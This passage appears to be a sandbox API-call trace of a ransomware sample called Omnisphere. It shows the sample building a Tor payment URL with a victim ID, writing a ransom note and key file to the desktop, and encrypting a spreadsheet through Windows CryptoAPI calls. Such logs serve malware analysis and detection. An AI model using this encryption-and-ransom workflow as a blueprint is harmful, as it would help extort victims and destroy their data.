dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17338b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.832] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.832] GetProcessHeap () returned 0x1600000 [0163.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f520 [0163.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f520, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.832] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.832] GetProcessHeap () returned 0x1600000 [0163.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cd40 [0163.832] PathCombineW (in: pszDest=0x164cd40, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.832] GetProcessHeap () returned 0x1600000 [0163.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17695d0 [0163.832] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.832] WriteFile (in: hFile=0x39c, lpBuffer=0x17695d0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x17695d0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.832] CloseHandle (hObject=0x39c) returned 1 [0163.833] GetProcessHeap () returned 0x1600000 [0163.833] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1774698 | out: hHeap=0x1600000) returned 1 [0163.833] GetProcessHeap () returned 0x1600000 [0163.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.833] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.833] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.833] CloseHandle (hObject=0x39c) returned 1 [0163.834] GetProcessHeap () returned 0x1600000 [0163.834] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.834] GetProcessHeap () returned 0x1600000 [0163.834] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f88 | out: hHeap=0x1600000) returned 1 [0163.834] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8238fe50, ftCreationTime.dwHighDateTime=0x1d4d1c6, ftLastAccessTime.dwLowDateTime=0x33792690, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x33792690, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0x5a9f, dwReserved0=0x0, dwReserved1=0xf5, cFileName="INqaOO.xlsx", cAlternateFileName="INQAOO~1.XLS")) returned 1 [0163.834] GetProcessHeap () returned 0x1600000 [0163.834] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163d838 [0163.834] PathCombineW (in: pszDest=0x163d838, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="INqaOO.xlsx" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx") returned="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx" [0163.834] StrStrW (lpFirst=".omnisphere", lpSrch=".xlsx") returned 0x0 [0163.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\inqaoo.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.835] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=23199) returned 1 [0163.835] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x557b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.835] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.835] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] GetTickCount () returned 0x1168af2 [0163.836] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16688a0) returned 1 [0163.837] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639728) returned 1 [0163.837] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.837] CryptDestroyKey (hKey=0x1639728) returned 1 [0163.837] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.838] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a9f, lpName=0x0) returned 0x380 [0163.838] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a9f) returned 0x1480000 [0163.838] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0163.839] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16395e8) returned 1 [0163.839] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.839] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.840] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.841] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 